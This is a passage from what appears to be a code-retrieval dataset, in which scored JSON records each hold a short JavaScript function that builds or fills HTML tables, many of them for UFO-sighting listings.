colAligns: ['center'],\n }\n });\n //loop through each item in the mysql bamazon database and push data into a new row in the table\n for (var i = 0; i < data.length; i++) {\n table.push(\n [data[i].department_id, data[i].department_name, (data[i].over_head_costs).toFixed(2), (data[i].department_sales).toFixed(2), (data[i].total_profit).toFixed(2)],\n );\n };\n console.log(table.toString());\n afterConnectionOperation();\n}", "title": "" }, { "docid": "3625ff50240619bc543006667f4631a6", "score": "0.68751997", "text": "function addTable (index) {\n\n }", "title": "" }, { "docid": "3da0a8095cd1fc389afc346cf7681149", "score": "0.6873311", "text": "function createTable(tableData) {\n // Clears previous table before adding a new one\n d3.select(\"tbody\")\n .html(\"\")\n\n // Creates the new table based on the input parameter\n d3.select(\"tbody\")\n .selectAll(\"tr\")\n .data(tableData)\n .enter()\n .append(\"tr\")\n .html(d => `<td>${d.datetime}</td>\n <td>${d.city}</td>\n <td>${d.state}</td>\n <td>${d.country}</td>\n <td>${d.shape}</td>\n <td>${d.durationMinutes}</td>\n <td>${d.comments}</td>`);\n \n // More modular way to create the table in HTML below\n // Object.entries(load_data).forEach(function([key, value]) {\n // tBody.append(\"td\").text(value);\n // })\n // });\n}", "title": "" }, { "docid": "b97c9dc46c28ecf227cfe5c2655f8f38", "score": "0.6854144", "text": "function addPersonToTable() {\r\n const table = document.querySelector(\"table\");\r\n\r\n // Create a new table row\r\n const tableRow = document.createElement(\"tr\");\r\n\r\n // Append to the row each data: first name, last name, dob, ssn, and email\r\n tableRow.appendChild(createTableData(this.fName));\r\n tableRow.appendChild(createTableData(this.lName));\r\n tableRow.appendChild(createTableData(this.dob));\r\n tableRow.appendChild(createTableData(this.ssn));\r\n tableRow.appendChild(createTableData(this.email));\r\n\r\n // Append the row to the table\r\n table.appendChild(tableRow);\r\n}", "title": "" }, { "docid": "b96ec8db02181a0b1467640354f98eab", "score": "0.68512005", "text": "function createTable(tableData){\n let table = d3.select(\"#ufo-table\");\n let tbody = table.select(\"tbody\");\n tbody.html(\"\");\n\n tableData.forEach( (data) => {\n let row = tbody.append(\"tr\");\n row.append(\"td\").text(data[\"datetime\"]);\n row.append(\"td\").text(data[\"city\"]);\n row.append(\"td\").text(data[\"state\"]);\n row.append(\"td\").text(data[\"country\"]);\n row.append(\"td\").text(data[\"shape\"]);\n row.append(\"td\").text(data[\"durationMinutes\"]);\n row.append(\"td\").text(data[\"comments\"]);\n });\n}", "title": "" }, { "docid": "988fb09694aa69663c881a75f9b1442a", "score": "0.6845483", "text": "function maketable(data){\n tbody.selectAll('tr').remove();\n data.forEach((x) => {\n var row = tbody.append(\"tr\");\n Object.entries(x).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "99ba418079d83dd1c6590340050d0257", "score": "0.6821017", "text": "function main(){\n tbody.selectAll(\"tr\").remove(); \n tableData.forEach(function(ufoSighting){\n var row = tbody.append(\"tr\");\n Object.values(ufoSighting).forEach(function(value){\n row.append(\"td\").text(value);\n });\n });\n}", "title": "" }, { "docid": "c56480596b6ce1ccc793e71a0780af4c", "score": "0.6811876", "text": "function createTable(ufoData){\n// Use d3 to update each cell's text with ufo sighting info\n data.forEach((tableData)=> {\n let row = tbody.append('tr');\n Object.entries(tableData).forEach(([key,value]) => {\n let cell = row.append('td');\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "19186806d8292342b914656d5a3a365d", "score": "0.68111223", "text": "function addRowsToPayrolsTable(tableData) {\n let tbody = document.getElementById('view_562').querySelector('tbody');\n tbody.innerHtml = '';\n let headerColumns = [\n {key: 'Payroll period', title: 'Payroll period'},\n {key: 'Amount', title: 'Amount'},\n {key: 'MKTREPNAME', title: 'Marketer Name'},\n {key: 'ACTDATE', title: 'Date'},\n {key: 'Description', title: 'Description'}\n ];\n\n //remove the default no results row if response has length\n if (tableData.length) {\n $(tbody).empty();\n }\n\n tableData.forEach(data => {\n let tr = document.createElement('tr');\n headerColumns.forEach((column, index) => {\n let td = document.createElement('td');\n td.classList.add('cell-edit');\n\n let span = document.createElement('span');\n span.classList.add('col-' + index);\n span.innerText = data['' + column.key];\n\n td.appendChild(span);\n tr.appendChild(td);\n });\n tbody.appendChild(tr);\n })\n }", "title": "" }, { "docid": "0cb01998d4490219a5e46de26949b514", "score": "0.68052477", "text": "function addTable(){\r\n \r\n\r\n}", "title": "" }, { "docid": "6c285c1551e4c63d4fcf5f088a13005a", "score": "0.6803273", "text": "function populateData() {\n \t\tvar upResults = newData.getTEN();\n\t\ttable.setData(upResults);\n\t\t//TI Bounty Hunter App Code to measure against\n\t\t//var results = db.list(_captured);\t\t\t\n\t\t//tv.setData(results);\n\t}", "title": "" }, { "docid": "4591b02be2d99880e1503aa3eea7f064", "score": "0.6799854", "text": "function addRow() {\n // first we create a row\n let tableRow = $(\"<tr>\");\n // then we create an array of the captured data\n let dataArray = [trainName, destination, firstTime, frequency];\n\n // for every index of dataArray...\n for (let i = 0; i < dataArray.length; i++) {\n // we create a table data element\n let dataCell = $(\"<td>\");\n // we add our indices as text\n dataCell.text(dataArray[i]);\n // we append dataCell to our tableRow\n tableRow.append(dataCell);\n }\n\n // we append our tableRow to our #schedule-table\n $(\"#schedule-table\").append(tableRow);\n}", "title": "" }, { "docid": "3ee9022ad65c19ea4f1b927ce8774b64", "score": "0.67766243", "text": "function createTable(ufoData){\n ufoData.forEach((ufoRecord) => {\n var row = tbody.append('tr');\n \n Object.entries(ufoRecord).forEach(([key, value]) => {\n var cell = row.append('td');\n cell.text(value);\n })\n })\n}", "title": "" }, { "docid": "a8c07a6ecc91b623bfd0e666c2be8ffb", "score": "0.6756933", "text": "function add_data_table(customername, customertype, phonenumber, whatsappnumber, address, pincode, email, phonenumber) {\n $(\"#custable\").prepend('<tr id=\"' + phonenumber + '\"><th>' + customername + '</th><th>' + customertype + '</th><th>' + phonenumber + '</th><th>' + whatsappnumber + '</th><th>' + address + '</th><th>' + pincode + '</th><th>' + email + '</th><th><a href=\"#\" data-key=\"' + phonenumber + '\" class=\"card-footer-item btnEdit\">Edit</a></th><th><a href=\"#\" class=\"card-footer-item btnRemove\" data-key=\"' + phonenumber + '\">Remove</a></th></tr>');\n}", "title": "" }, { "docid": "55489c1d97f311e6169639c627099edf", "score": "0.67548543", "text": "function loadTableData(InputData) {\n InputData.forEach((UFOreport) => {\n var row = tbody.append(\"tr\");\n Object.entries(UFOreport).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n }); \n}", "title": "" }, { "docid": "100c26a5bde7afbc406313e1329cb56b", "score": "0.67544055", "text": "function addRowToTable(tableId, data){\n let tableRow = document.createElement('tr');\n data.forEach(element => {\n let newColumn = document.createElement('td');\n newColumn.innerHTML = element;\n tableRow.appendChild(newColumn);\n });\n document.getElementById(tableId).appendChild(tableRow);\n}", "title": "" }, { "docid": "2a711741fc717ee041bd8b48965814e6", "score": "0.67532784", "text": "function createTable(ufoData) {\n // Empty table content\n ufoTable.html(\"\")\n // Create arrow functin to fill table content one row at a time\n // with all its cells populated before proceeding to the next raw\n ufoData.forEach((ufoRow) => {\n var row = ufoTable.append(\"tr\"); //empty row\n Object.values(ufoRow).forEach((cellVal) => {\n var ufoCell = row.append(\"td\")\n ufoCell.text(cellVal)\n })\n })\n}", "title": "" }, { "docid": "f6ed9818c585522504a49dd0b9df1e67", "score": "0.67445403", "text": "function appendTable(data) {\n\n // first, clears table data (if any)\n tbody.html(\"\")\n\n // iterates through data\n data.forEach(function(tableData) {\n \n // add table row variable\n var row = tbody.append(\"tr\");\n\n // iterate through data values\n Object.entries(tableData).forEach(function([key, value]) {\n\n // add table cell variable\n var cell = tbody.append(\"td\");\n\n // insert data value into cell\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "c9171dc66c902e1fcf98569ee3a2c102", "score": "0.6727247", "text": "function fillTable(data){\n const table = document.querySelector('#results')\n\n // const rowID = document.createElement('td')\n // rowID.appendChild(data._id)\n appdata.push({_id: data._id})\n\n const rowName = document.createElement('td')\n rowName.innerText = data.yourname\n\n const rowFt = document.createElement('td')\n rowFt.innerText = data.feet\n\n const rowIn = document.createElement('td')\n rowIn.innerText = data.inches\n\n const rowWeight = document.createElement('td')\n rowWeight.innerText = data.weight\n\n const rowBmi = document.createElement('td')\n rowBmi.innerText = data.bmi\n\n const rowStatus = document.createElement('td')\n rowStatus.innerText = data.status\n\n const rowEdit = document.createElement('td')\n rowEdit.innerHTML = '<button id= \"edit\" onclick = \"editRow(this.parentNode.parentNode)\">Edit</button>'\n\n const rowDelete = document.createElement('td')\n rowDelete.innerHTML = '<button id= \"delete\" onclick = \"removeRow(this.parentNode.parentNode)\">Delete</button>'\n\n const newRow = document.createElement('tr')\n newRow.append(rowName, rowFt, rowIn, rowWeight, rowBmi, rowStatus, rowEdit, rowDelete)\n table.appendChild(newRow)\n }", "title": "" }, { "docid": "df8503ed58ba57cadc68d338dc866f10", "score": "0.67134637", "text": "function createTable(table){\n // Get a reference to the table body\n var tbody = d3.select(\"tbody\");\n \n // Clear the table data\n tbody.html(\"\");\n \n // Create a table and add the ufo sightings\n table.forEach((ufoReport) => {\n var row = tbody.append(\"tr\");\n Object.entries(ufoReport).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value); });\n });\n}", "title": "" }, { "docid": "2a91ee20d7a3f1201ee8e0f5af3a406d", "score": "0.67029244", "text": "function addRow() {\n if (!hasErrors()) {\n var info = getInfo();\n var row = tbody.insertRow(0);\n var cell = row.insertCell(0);\n var cell1 = row.insertCell(1);\n var cell2 = row.insertCell(2);\n var cell3 = row.insertCell(3);\n var cell4 = row.insertCell(4);\n var cell5 = row.insertCell(5);\n\n cell.innerHTML = width.value + \" px\";\n cell1.innerHTML = height.value + \" px\";\n cell2.innerHTML = info.diagonal + \"\\\"\";\n cell3.innerHTML = info.ppi + \" PPI\";\n cell4.innerHTML = info.pixels;\n cell5.innerHTML = info.viewDistance + \" cm\";\n\n sort.refresh();\n }\n }", "title": "" }, { "docid": "4f112cebc01a31871bdad153038572a8", "score": "0.6694859", "text": "function buildTable(){\n\n \n\n data.forEach(tData=>{\n var row= tbody.append(\"tr\");\n Object.entries(tData).forEach(([_,value])=>{\n var cell=row.append(\"td\");\n cell.text(value);\n });\n });\n \n}", "title": "" }, { "docid": "4d73e27ffe39e847cba6f6bb86d3f8de", "score": "0.669446", "text": "function createTable(data){\n tbody.html(\"\");\n data.forEach(function(ufoSiting) {\n // console.log(ufoSiting);\n var row = tbody.append(\"tr\");\n Object.entries(ufoSiting).forEach(function([key, value]) {\n console.log(key, value);\n // Append a cell to the row for each value\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "340ccb04dd281d6efe3087c2068a7688", "score": "0.66846937", "text": "function makeTable(table, data) {\n for (let element of data){\n let row=table.insertRow();\n for (key in element){\n let cell= row.insertCell();\n let text= document.createTextNode(element[key]);\n cell.appendChild(text);\n }\n }\n}", "title": "" }, { "docid": "698d17181c22b44198bc912ed53526ee", "score": "0.66814077", "text": "function render_table() {\n\n for (let i = 0; i < classmateData.length; i++) {\n insertRow(classmateData[i]);\n }\n}", "title": "" }, { "docid": "32b1635fdd84f4d24a012c47534d71c8", "score": "0.66802686", "text": "function addToTbody(tbody, data) {\n data.forEach(function(e) {\n let tr = tbody.insertRow(\"tr\")\n Object.keys(e).forEach(function(k, i) {\n let cell = tr.insertCell(i);\n cell.innerHTML = e[k];\n });\n })\n }", "title": "" }, { "docid": "a0cc7a99ae5124b0f12ecab8ce889693", "score": "0.66568613", "text": "function loadTable() {\n tableData.forEach((aliens) => {\n var row = tbody.append(\"tr\");\n Object.entries(aliens).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "3a767e3aca918f0b4c0d9e82007a8f54", "score": "0.6654422", "text": "function fill_table(data) {\n // clear any existing data if there is any\n tbody.html(\"\");\n //use a for each to append all the rows from data.js\n data.forEach((row) => {\n // create a variable that will create a row\n const table_row = tbody.append(\"tr\");\n\n // loop through each row to create the cells\n Object.values(row).forEach((value) => {\n let cell = table_row.append(\"td\");\n //fill the cell with the value\n cell.text(value);\n }\n );\n });\n\n}", "title": "" }, { "docid": "bd3777089b7707782169f54e529f2be5", "score": "0.66521555", "text": "function updateTable() {\n\trows = tbody.selectAll('tr')\n\t\t.data(taxiBookingsData).enter()\n\t\t.append('tr');\n\t\t\n\trows.selectAll('td')\n\t\t.data(function (d) {\n\t\t\treturn titles.map(function (k) {\n\t\t\t\treturn { 'value': d[k], 'name': k};\n\t\t\t});\n\t\t}).enter()\n\t\t.append('td')\n\t\t.attr('data-th', function (d) {\n\t\t\treturn d.name;\n\t\t})\n\t\t.text(function (d) {\n\t\t\treturn d.value;\n\t\t});\n}", "title": "" }, { "docid": "2f5bfc749addd334b49bdb3d559858d4", "score": "0.6650806", "text": "function addToTbody(tbody, data) {\n data.forEach(function(e) {\n let tr = tbody.insertRow(\"tr\")\n let i = 0;\n parkLabels.forEach(function(x) {\n let cell = tr.insertCell(i);\n let innerHtml;\n switch (x) {\n case \"Location\":\n innerHtml = e.LocationName;\n break;\n case \"Address\":\n innerHtml = e.Address + \"<br>\" + e.City + \"<br>\" + e.State + \" \" + e.ZipCode;\n break;\n case \"Phone\":\n innerHtml = (e.Phone == \"0\" ? \" \" : e.Phone);\n break;\n case \"Fax\":\n innerHtml = (e.Fax == \"0\" ? \" \" : e.Fax);\n break;\n case \"Visit\":\n innerHtml = (typeof e.Visit === \"undefined\" ? \" \" : \"<a href='\" + e[\"Visit\"] + \"' target='_blank'>\" + e[\"Visit\"] + \"</a>\")\n break;\n case \"Coordinates\":\n innerHtml = \"Latitude: \" + e.Latitude + \"<br>\" + \"Longitude: \" + e.Longitude;\n break;\n default:\n innerHtml = e[x];\n }\n cell.innerHTML = innerHtml;\n i++;\n });\n });\n }", "title": "" }, { "docid": "50de386ed5db01e49c81d46b758bab16", "score": "0.6645694", "text": "function updateTable(data) {\n for (let i = 0; i < data.length; i++) {\n $('#crimeBody').append('<tr/>').append('<td>' + data[i].type + '</td>' + '<td>' + data[i].date + '</td>' + '<td>' + data[i].address + '</td');\n }\n}", "title": "" }, { "docid": "f3bad8bc97b20ace46b7556e21bbfa45", "score": "0.6644378", "text": "function appendToTable(tag) {\n $(trns).each(function(i, trn) {\n\n amt = addCommas($(trn).data('total'))\n html = '<tr>' +\n '<td>' + \n $(trn).data('date') +\n '</td>' +\n '<td>' + \n amt +\n '</td>' +\n '<td>' + \n $(trn).data('desc') +\n '</td>' +\n '<td>' + \n $(trn).data('tag') +\n '</td>' + \n '</tr>'\n $(table).append(html)\n })\n $('#table-title').empty();\n $('#table-title').append(tag)\n }", "title": "" }, { "docid": "064539729e554ec881760617ba99bfcb", "score": "0.6635102", "text": "function tabulate(data, columns, label, units) {\n \n //Create and select the structure\n var table = d3.select('#Centre').append('table')\n var thead = table.append('thead')\n var\ttbody = table.append('tbody');\n \n //Append the header row\n var contentHead = ['About the player','Value','Units'];\n thead.append('tr')\n .selectAll('th')\n .data(contentHead).enter()\n\t\t .append('th')\n\t\t .text(function (column) { return column; });\n \n var toAdd = [];\n for(i=0 ; i<columns.length ; i++){\n toAdd.push(data[0][columns[i]]);\n }\n\n //Create a row for each object in the data\n var about = tbody.selectAll('tr')\n .data(columns)\n .enter()\n .append('tr') \n .attr('id','line');\n \n about.append('td').text(function(d,i){return label[i] ;});\n about.append('td').text(function(d){return data[0][d];});\n about.append('td').text(function(d,i){return units[i] ;});\n\n return table;\n }", "title": "" }, { "docid": "91cffa18e53b5908c0cf6b649f122efa", "score": "0.6628853", "text": "function table(data) {\n tbody.html(\"\");\n\n data.forEach((dataRow) => {\n let row = tbody.append(\"tr\");\n Object.values(dataRow).forEach((v) => {\n let ufoInfo = row.append(\"td\");\n ufoInfo.text(v);\n }\n );\n });\n}", "title": "" }, { "docid": "91cffa18e53b5908c0cf6b649f122efa", "score": "0.6628853", "text": "function table(data) {\n tbody.html(\"\");\n\n data.forEach((dataRow) => {\n let row = tbody.append(\"tr\");\n Object.values(dataRow).forEach((v) => {\n let ufoInfo = row.append(\"td\");\n ufoInfo.text(v);\n }\n );\n });\n}", "title": "" }, { "docid": "e78a560de7e92630f04527c1bbdc81f1", "score": "0.66212845", "text": "function populateTable(data) { \n\n // remove any children from the list\n tbody.html('');\n\n // Don't name your row variable and your row data the same thing\n data.forEach(function(datum) {\n var row = tbody.append(\"tr\");\n \n // Loop through each value in your row\n Object.entries(datum).forEach(function([key, value]) {\n // Append a cell to the row for each value\n // in the row\n var cell = row.append(\"td\");\n cell.text(value)\n });\n });\n\n // Make sure you have a column for date/time, city, state, country, shape, and comment at the very least.\n // data are being imported correctly this time\n}", "title": "" }, { "docid": "95c88e2c05a1fc89b463cc214b398f86", "score": "0.6619834", "text": "function populateTable(data) {\n // Iterate through the list of testimonials\n for(var i = 0; i < data.length; i++) {\n $('#tblTestimonials tbody').append(createRow(data[i]));\n }\n}", "title": "" }, { "docid": "b4af499fdef8fac0069a7e0cd16fdb9b", "score": "0.661713", "text": "function rowAddToTable(){\n\tif ($(\"#crudTable tbody\")== 0){\n\t\t$(\"#crudTable\").append(\"<tbody></tbody>\");\n\t}\t//Add an id in the method that passes as param param id the incremented id\n\t\t$(\"#crudTable tbody\").append(buildTableRow(_nextId));\n\t\t//increment id\n\t\t_nextId +=1;\n}", "title": "" }, { "docid": "7da407ff812c6dd6f11586911dda0e93", "score": "0.66130763", "text": "function fill_table() {\r\n financial_data = getFinancialArrray();\r\n if (financial_data.length != 0)\r\n createTable();\r\n financial_data.forEach(element => {\r\n insertToTable(element);\r\n\r\n });\r\n if (financial_data.length != 0)\r\n sortTable();\r\n}", "title": "" }, { "docid": "01ff22bda5eb2ebfe7abe8bac7c1baae", "score": "0.66049993", "text": "function createtable(tabledata){\n tbody.html(\"\")\n tabledata.forEach(d => {\n let row = tbody.append(\"tr\");\n for(x in d){\n row.append(\"td\").text(d[x])\n }\n });\n}", "title": "" }, { "docid": "37c662f7017a17e0010cec1dc2f8891c", "score": "0.66038215", "text": "function renderTable() {\n $tbody.innerHTML = \"\";\n for (var i = 0; i < tableData.length; i++) {\n \n var data = tableData[i];\n var fields = Object.keys(data);\n \n\n var $row = $tbody.insertRow(i);\n for (var j = 0; j < fields.length; j++) {\n var field = fields[j];\n var $cell = $row.insertCell(j);\n $cell.innerText = data[field];\n }\n }\n }", "title": "" }, { "docid": "a4f6def48a9c1bb1fafb393937470a90", "score": "0.66018933", "text": "function buildTable(data) {\n //Clearing the existing data creates a fresh table in which we can insert data\n tbody.html(\"\");\n\n\n //11.5.2 Add forEach to Your Table\n //incorporate a forEach function that loops through our data array, and then adds rows of data to the table\n data.forEach((dataRow) => {\n //create a variable that will append a row to the HTML table body\n let row = tbody.append(\"tr\");\n\n //Loop through each field in the dataRow argument.\n Object.values(dataRow).forEach((val) => {\n //append each value of the object to a cell in the table\n let cell = row.append(\"td\");\n //add the values\n cell.text(val);\n }\n );\n });\n}", "title": "" }, { "docid": "db830d61d47e109649046d93c05edacd", "score": "0.65855914", "text": "function appendTable(name, value) {\n var table = document.getElementById(\"Courtesyphonetable\");\n var row = table.insertRow(0);\n var cell1 = row.insertCell(0);\n var cell2 = row.insertCell(1);\n cell1.innerHTML = name;\n cell2.innerHTML = value;\n }", "title": "" }, { "docid": "fc0848d7f2722243d9619f5b8d37d68c", "score": "0.6570129", "text": "function defaultPopulate(tableData) {\n tableData.forEach((ufoSighting) => {\n var row = tbody.append(\"tr\");\n Object.entries(ufoSighting).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "3d6cec26bb4f66341362f4ce4698014b", "score": "0.6560467", "text": "function buildTable (data) {\n var tbody = d3.select(\"tbody\");\n\n data.forEach(record => {\n\n //insert row\n var row = tbody.append(\"tr\");\n\n //insert data\n Object.entries(record).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "f4ad7b06abf563b6926ffa3ea0492889", "score": "0.6547636", "text": "function createData2(){\n var table = document.getElementById(\"dataTable\");\n var newRow = table.rows[1];\n var len = table.rows.length;\n var header = table.rows[0];\n var columns = table.rows[0].cells.length;\n var dataList = [];\n var data2 = {};\n for (var j = 1; j < columns; j++) {\n data2[header.cells[j].children[0].value] = newRow.cells[j].children[0].value;\n }\n dataList.push(data2);\n var jsonData = angular.toJson(dataList);\n updateDataFile(jsonData);\n}", "title": "" }, { "docid": "241e15028b1b80eb79028c0a33b6a114", "score": "0.6529403", "text": "function addData(data) {\n var name = data.trainName;\n var destination = data.trainDestination;\n var frequency = data.trainFrequency;\n var firstTime = data.trainFirstTime;\n var minutesAway = minAwayCalc(firstTime, frequency);\n var nextTrain = nextTrainCalc(minutesAway);\n\n // Creating a variable to hold the data before appending it\n var newRow = $(\"<tr>\").append(\n $(\"<td>\").text(name),\n $(\"<td>\").text(destination),\n $(\"<td>\").text(frequency),\n $(\"<td>\").text(nextTrain),\n $(\"<td>\").text(minutesAway)\n );\n\n // Append the new row to the table\n $(\"#trainSchedules\").append(newRow);\n}", "title": "" }, { "docid": "1cf9cf82f99bfa89b0fd93c02adeaf99", "score": "0.6525388", "text": "function buildTable(data) {\n\n data.forEach((dataRow) => {\n \n var row = tbody.append(\"tr\");\n\n Object.values(dataRow).forEach((value) => {\n row.append(\"td\").text(value);\n }\n );\n });\n}", "title": "" }, { "docid": "42e2f6c23590a1a9712a2ee408b48230", "score": "0.65249676", "text": "function createTable(data) {\n // console.log(createTable(data));\n let body = document.getElementById(\"property-table\");\n body.innerHTML = \"\";\n let table = document.createElement(\"table\");\n let tBody = document.createElement(\"tBody\");\n let th;\n let td;\n let thead = document.createElement(\"thead\");\n let tr = document.createElement(\"tr\");\n th = document.createElement(\"th\");\n th.innerHTML = \"Neighborhood\";\n tr.appendChild(th);\n\n th = document.createElement(\"th\");\n th.innerHTML = \"Year\";\n tr.appendChild(th);\n\n th = document.createElement(\"th\");\n th.innerHTML = \"Amount\";\n tr.appendChild(th);\n\n thead.appendChild(tr);\n table.appendChild(thead);\n\n data.forEach((item) => {\n tr = document.createElement(\"tr\");\n td1 = document.createElement(\"td\");\n td1.innerHTML = item.neighborhood;\n tr.appendChild(td1);\n\n td2 = document.createElement(\"td\");\n td2.innerHTML = item.year;\n tr.appendChild(td2);\n\n td3 = document.createElement(\"td\");\n td3.innerHTML = item.amount;\n tr.appendChild(td3);\n\n tBody.appendChild(tr);\n });\n table.appendChild(tBody);\n body.appendChild(table);\n}", "title": "" }, { "docid": "ce268765bf29c2bf415f8c9b9e5c479b", "score": "0.65237147", "text": "function createDefault(){\n data.forEach(obs => {\n var row = tableBody.append(\"tr\"); cd ku\n\n row.append(\"td\").text(obs.datetime);\n row.append(\"td\").text(obs.city);\n row.append(\"td\").text(obs.state);\n row.append(\"td\").text(obs.country);\n row.append(\"td\").text(obs.shape);\n row.append(\"td\").text(obs.durationMinutes);\n row.append(\"td\").text(obs.comments);\n})\n}", "title": "" }, { "docid": "6d08f16604ed1a08b1ca46ce7c4de1ee", "score": "0.6503547", "text": "function addRow(item){\n // Creating a new row into table element\n var row = tbody.append(\"tr\");\n // Reading value in the object and then inserting that values into table row.\n Object.values(item).forEach(value => row.append(\"td\").text(value)) \n}", "title": "" }, { "docid": "293f51c0357137c0ab971372dc774ae8", "score": "0.6502388", "text": "function loadtable(data) {\n // clear the table of any existing data\n tbody.html(\"\");\n // Loop through the data to collect all the values and insert them to the table in Html\n data.forEach(datarow => {\n var row = tbody.append(\"tr\");\n Object.entries(datarow).forEach(function([key,value]){\n console.log(key,value);\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "7c8077897b66f0a29a0dd22196438485", "score": "0.6500194", "text": "function tableDisplay(data){\n data.forEach((UFOrecord)=> {\n var row= tbody.append('tr');\n \n Object.entries(UFOrecord).forEach(([key,value])=> {\n var cell =row.append('td').text(value);\n });\n })\n}", "title": "" }, { "docid": "75a24afe60e1331d774eb4db0f0d2c99", "score": "0.6493855", "text": "function generateTable(table, data) {\n while(table.rows[0]) table.deleteRow(0);\n console.log(table.rows)\n for (let element of data) {\n let row = table.insertRow();\n for (key in element) {\n let cell = row.insertCell();\n let text = document.createTextNode(element[key]);\n cell.appendChild(text);\n }\n }\n }", "title": "" }, { "docid": "0706908199664abf2566215eda09cc2b", "score": "0.64937305", "text": "function set_table(){\n\tlet table = document.getElementById('order');\n\tlet i;\n\tlet j;\n\n\tfor (i = 0; i < (store.orderHistory).length; i++){\n\t\tlet row = table.insertRow(i+2);\n\t\tfor (j = 0; j < 6; j++){\n\t\t\tlet cell = row.insertCell(j);\n\t\t\tcell.innerHTML = (store.orderHistory)[i][j];\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "52f555d349f044df6a4fdfd78920119a", "score": "0.6486732", "text": "function loadTable(data) {\n\tdata.forEach((ufo) => {\n\t\tvar tbody = d3.select(\"#ufo-table > tbody\");\n\t\tvar row = tbody.append(\"tr\");\n\n\t\tObject.entries(ufo).forEach(([key, value]) => {\n\t\t\trow.append(\"td\").text(value);\n\t\t\t// row.append(\"td\").text(value).attr(\"id\", key);\n\t\t});\n\t});\n}", "title": "" }, { "docid": "19756b033dc0126861fca7d9a99c7ead", "score": "0.64631695", "text": "function buildTable(data) {\n\n // clear prior data \n tbody.html(\"\");\n\n // loop through all data rows \n data.forEach((dataRow) => {\n\n // append to body \n var row = tbody.append(\"tr\");\n\n // object values \n Object.values(dataRow).forEach((value) => {\n\n // append single cell for each ufo sighting \n var cell = row.append(\"td\");\n cell.text(value);\n });\n })\n}", "title": "" }, { "docid": "62c5261b55a5160d9ccb5f5fd2d576c1", "score": "0.6459403", "text": "function addTable(id, type, list) {\n\tfor (var i=0; i<list.length; i++) {\n\t\tvar row = document.createElement(\"tr\");\n\t\trow.insertCell().append(createName(list[i]));\n\t\tif (type == \"loyal\") {\n\t\t\trow.insertCell().innerHTML = getNumberPartyVotes(list[i]);\n\t\t\trow.insertCell().innerHTML = list[i].votes_with_party_pct + \" %\";\n\t\t} else if (type == \"engaged\") {\n\t\t\trow.insertCell().innerHTML = list[i].missed_votes;\n\t\t\trow.insertCell().innerHTML = list[i].missed_votes_pct + \" %\";\n\t\t}\n\t\t$(id).append(row);\n\t}\n}", "title": "" }, { "docid": "bbca76580f660e010875f5f5e35e475b", "score": "0.6457577", "text": "function updateTable(selectedData){\n tbody.html(\"\");\n selectedData.forEach((ufoSightings)=>{\n var row = tbody.append(\"tr\");\n Object.entries(ufoSightings).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "7623c43d80aa2bf70f23059e7c28367e", "score": "0.64438117", "text": "function addToTable(description, option, amount) {\r\n // Create Row\r\n const row = tbody.insertRow(0);\r\n // Create Columns\r\n const tdDesciption = row.insertCell(0);\r\n const tdOption = row.insertCell(1);\r\n const tdCurrency = row.insertCell(2);\r\n const tdTool = row.insertCell(3);\r\n const tdDelete = document.createElement('i');\r\n // Set Attribute\r\n row.setAttribute('class', option);\r\n tdCurrency.setAttribute('class', 'amount');\r\n tdTool.setAttribute('class', 'tools');\r\n tdDelete.setAttribute('class', 'delete fa fa-trash-o');\r\n // Set Data\r\n tdDesciption.textContent = description;\r\n tdOption.textContent = option;\r\n tdCurrency.textContent = amount;\r\n // Build fragment\r\n tdTool.appendChild(tdDelete);\r\n}", "title": "" }, { "docid": "60e33fcc804de9ae77ab026b569cafbe", "score": "0.6442655", "text": "function createTable() {\n table = document.getElementById('saleDataTable');\n var theading = document.createElement('thead');\n var headingCell = document.createElement('th');\n headingCell.appendChild(document.createTextNode(''));\n theading.appendChild(headingCell);\n for (var j = 0; j < hours.length; j++) {\n headingCell = document.createElement('th');\n headingCell.appendChild(document.createTextNode(hours[j]));\n theading.appendChild(headingCell);\n }\n table.appendChild(theading);\n\n headingCell = document.createElement('th');\n headingCell.appendChild(document.createTextNode('Total Sold'));\n theading.appendChild(headingCell);\n table.appendChild(theading);\n table.appendChild(tbody);\n}", "title": "" }, { "docid": "e5471bc949edb61164218467d1609de2", "score": "0.64420563", "text": "function buildTable(data) {\n// need to clear table first before loading new stuff\n tbody.html(\"\");\n\n// tbody references the table, the parens with empty quotes is an empty string so it loads that in\n// use forEach function to perform something on elements in array\n data.forEach((dataRow) => {\n // find the tbody EventTarget, and add a table row which is tr\n let row = tbody.append(\"tr\");\n Object.values(dataRow).forEach((val) => {\n let cell = row.append(\"td\"); \n cell.text(val);\n }\n );\n });\n}", "title": "" }, { "docid": "51b3b2f25de909df0acd85417c6ac054", "score": "0.64419085", "text": "function fillSalesTbl() {\n if (sale[0].sal_id != 0) {\n $('#tblSales tbody').html('');\n\n let tabla = $('#tblSales').DataTable();\n\n $.each(sale, function (v, u) {\n var icoView = `<i class=\"fas fa-eye view\"></i>`;\n var icoComm = '';\n if (u.comments != 0) {\n icoComm = `<i class=\"far fa-comment-dots comments\"></i>`;\n }\n var rw = tabla.row\n .add({\n editable: icoView + icoComm,\n numbsale: u.sal_number,\n datesale: u.sal_date,\n customer: u.sal_customer_name,\n projname: u.sal_project,\n payforms: u.sal_pay_form,\n sallernm: u.sal_saller,\n })\n .draw()\n .node();\n\n $(rw).attr('id', u.sal_id);\n $(rw).attr('index', v);\n });\n activeActions();\n }\n deep_loading('C');\n}", "title": "" }, { "docid": "013128f4944cc390c9b72dc511560a96", "score": "0.64409316", "text": "function buildTable(data){\n tbody.html(\"\") //clears any existing data in the table \n\n // loop through each object in the data and append a row and cells\n // for each value in the row \n data.forEach( (dataRow) => {\n // create new row in the 